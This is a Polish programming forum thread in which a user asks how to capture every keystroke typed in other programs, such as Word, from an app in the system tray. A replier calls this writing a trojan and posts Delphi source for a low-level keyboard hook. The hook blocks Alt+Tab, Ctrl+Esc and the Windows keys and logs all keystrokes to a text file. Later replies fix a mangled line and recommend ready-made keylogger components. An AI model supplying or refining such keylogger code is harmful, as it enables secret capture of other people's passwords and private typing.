jak zrobi zeby wszystkie klawisze co klikne na kalwiat. zapisywały sie do rich edita
program jest zucony do tryala ??(no kolo zegara) a pisze np. w wordzie i chce zeby to co klikam na kalwiat. zapisywało sie do richeidta
z gory dzieki.
jak zrobi zeby wszystkie klawisze co klikne na kalwiat. zapisywały sie do rich edita
program jest zucony do tryala ??(no kolo zegara) a pisze np. w wordzie i chce zeby to co klikam na kalwiat. zapisywało sie do richeidta
z gory dzieki.
Trojanka się pisze:) - masz tu przykładowy kodzik - nie dopracowałem go jeszcze -bo zapisuje znaki w momencie naciśnięcia i puszczenia (więc zapisuje je wielokronie - ale zapisuje wszystko) - poradzisz sobie zeby zrobić go obok traya:)
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
procedure LockSystem; //Blokujemy system
procedure UnLockSystem; //I odblokowujemy
end;
var
Form1: TForm1;
HookID: HHOOK; //ID naszego Hooka. Żeby można było z powrotem wyłączyć
f:TextFile;
{ Typ TKbdDllHookStruct wykorzystywany przez Hook niskiego poziomu na klawiaturę. Delphi niestety nie zapewnia }
type
PKbdDllHookStruct = ^TKbdDllHookStruct;
TKbdDllHookStruct = record
vkCode,
ScanCode,
Flags,
Time,
dwExtraInfo: integer;
end;
const
WH_KEYBOARD_LL = 13; //nr hooka niskiego poziomu. Delphi nie zapewnia tej stałej.
implementation
{$R *.dfm}
function LLKeyHookFunc(HookCode: Integer; KeyCode: wParam; KStrokeInfo: lParam): LResult; stdcall;
var
Struct: PKbdDllHookStruct; //Wskaźnik do struktury, w której otrzymamy informacje o stanie klawiatury
begin
Struct := Ptr(KStrokeInfo);
Result := 0;
if (HookCode >= 0) then
begin
{ Blokujemy kombinację Ctrl+Esc }
if (Struct.vkCode = VK_ESCAPE) and (GetAsyncKeyState(VK_CONTROL)<-32766) then
Result := 1;
{ Blokujemy Alt+Tab }
if (Struct.vkCode = VK_TAB) and (GetAsyncKeyState(VK_MENU)<-32766) then
Result := 1;
{ Blokujemy prawy i lewy klawisz Windowsa }
if (Struct.vkCode = VK_LWIN) or (Struct.vkCode = VK_RWIN) then
Result := 1;
end;
//Jeżeli kombinacji nie chcemy blokować, to przekażmy informacje dla innych okien
if (Result = 0) then
begin
if not FileExists('plik.txt') then
rewrite(f)
else
append(f);
if Struct.vkCode=13 then
writeln(f)
else
write(f,chr(Struct.vkCode));
closefile(f);
Result := CallNextHookEx(HookID, HookCode, KeyCode, KStrokeInfo);
Struct.vkCode:=0;
end;
end;
{ Załóżmy Hook na system }
procedure TForm1.LockSystem;
begin
HookID := SetWindowsHookEx(WH_KEYBOARD_LL, @LLKeyHookFunc, hInstance, 0);
end;
{ Na koniec trzeba oczywiście wyłączyć. Nie chcemy stale blokować sobie klawiatury }
procedure TForm1.UnLockSystem;
begin
UnHookWindowsHookEx(HookID);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
LockSystem;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
UnLockSystem
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
assignfile(f,'plik.txt');
end;
end.
Ten kod nie dziala.
wywala co to
Struct := Ptr">Ptr(KStrokeInfo);
a jak sie to wylaczy // Struct := Ptr">Ptr(KStrokeInfo);
to nic sie nie dzieje.
Wie ktos jak to naprawic ?
zamaist tego>> Struct := Ptr">Ptr(KStrokeInfo);
wpisz to: >>> Struct := Ptr(KStrokeInfo);
i bedzie dzialac.
komponent KeySpy albo KeySpyXP
z tej strony.
i wszystko jasne :)
wystarczy spojrzeć na przykład